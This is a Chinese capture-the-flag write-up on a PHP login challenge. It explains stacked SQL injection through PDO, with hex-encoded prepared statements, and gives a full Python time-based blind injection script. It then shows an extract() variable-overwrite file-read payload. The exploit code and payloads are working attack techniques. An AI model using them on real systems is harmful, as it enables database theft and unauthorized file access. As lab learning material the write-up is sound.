一、题目简介

进入就是一个登录框,注册未开放,登录没反应但是有返回包显示error username or password

  • 首先尝试常规用户名admin,弱密码爆破,爆破出弱密码123456,仍然没用
  • 扫描后台没有源码泄露
  • URL发现参数r,尝试SQL注入,无果
  • 看了WP知道注入点在用户名

image-20220331162026268

二、前置知识点

1、PDO场景下的SQL注入

这个接口也是第一次接触

PHP数据对象(PDO)扩展为PHP访问数据库定义了一个轻量级的一致接口

PHP连接数据库的方式:MySQL、Mysqli、PDO

img

可以看到多语句执行支持情况:Mysqli 和 PDO 都能执行多语句

Mysqli:普通的 mysqli_query() 只能执行单语句,multi_query() 可以执行多条语句

PDO:使用 query() 方法,默认支持多语句查询,如果php版本 <= 5.5.21 或者创建PDO实例时未设置

​ PDO::MYSQL_ATTR_MULTI_STATEMENTS为false时,可能会造成堆叠注入

new PDO($dsn, $user, $pass, array( PDO::MYSQL_ATTR_MULTI_STATEMENTS => false))

​ 多条SQL语句之间用;分隔

其他关于PDO的可以参考这篇文章:https://xz.aliyun.com/t/3950

2、SQL预处理语句(Prepared)

set @a= SQL语句

prepare test from @a

execute test

重点:SQL语句转换为16进制可以结合预处理语句执行,注意多条语句之间的分号

image-20220331172001956

三、题解

1、直接根据我们已知的信息来编写脚本

import requests
import json
import time


def getflag(url):
        flag=""
        for i in range(1,40):
                for j in range(32,128):
                        playload="select if((ascii(substr((select flag from flag),{},1))={}),sleep(5),1)".format(i,j)
                        playloads=bytes(playload,'UTF-8').hex()

                        inject='set @a=0x{};prepare test from @a;execute test;'.format(playloads)
                        data={'username':"admin';{}".format(inject),'password':'123456'}
                        data = json.dumps(data) #必须要转换为字符串

                        times=time.time()
                        requests.post(url=url,data=data)

                        if(time.time()-times>=5):  #为了保证准确性,时间就调的长了一点,但结果有时还是会出问题
                                flag+=chr(j)
                                print(flag)


getflag("http://5d79e5d7-ba22-4a25-92ff-a626a269179a.node4.buuoj.cn:81/index.php?r=Login/Login")

image-20220331174154727

结果一看就不对劲,不过大概还是能猜出来的,目前还不知道为啥结果老是出问题

glzjin_wants_a_girl_friend.zip

2、代码审计

目录大致框架如下:

image-20220331174822820

知识点:MVC框架

​ 经典MVC模式中,M是指业务模型,V是指用户界面,C则是控制器,使用MVC的目的是将M和V的实现代码分离,从而使同一个程序可以使用不同的表现形式。其中,View的定义比较清晰,就是用户界面。

V即View视图是指用户看到并与之交互的界面。比如由html元素组成的网页界面,或者软件的客户端界面。MVC的好处之一在于它能为应用程序处理很多不同的视图。在视图中其实没有真正的处理发生,它只是作为一种输出数据并允许用户操作的方式。

M即model模型是指模型表示业务规则。在MVC的三个部件中,模型拥有最多的处理任务。被模型返回的数据是中立的,模型与数据格式无关,这样一个模型能为多个视图提供数据,由于应用于模型的代码只需写一次就可以被多个视图重用,所以减少了代码的重复性。

C即controller控制器是指控制器接受用户的输入并调用模型和视图去完成用户的需求,控制器本身不输出任何东西和做任何处理。它只是接收请求并决定调用哪个模型构件去处理请求,然后再确定用哪个视图来显示返回的数据。

首先找到核心配置,路由控制:/Common/fun.php

简而言之,r=Login/Index,就调用 LoginController 类中的 actionIndex 方法

image-20220331175228088

观察Controller控制器下的类:

  • BaseController 类(所有控制器的父类)下发现 extract() 函数,可能造成变量覆盖

image-20220331175933799

  • UserController 类下actionIndex() 方法,其中参数完全可控

image-20220331175950200

  • 并且包含了视图下的userIndex.php,该文件中发现任意文件读取(结合extract变量覆盖)

image-20220331180059739

变量覆盖$img_file,这样读取的文件就会被输出到页面上

playload: ?r=User/Index&img_file=/../flag.php

image-20220331180309235

解码后得到flag:

image-20220331180330620

四、总结

1、新学到的php数据对象PDO,以及其可能造成的注入与解决方案

2、对web框架一类的题目,需要的更多的是耐心,不能急于求成,熟能生巧吧,加油!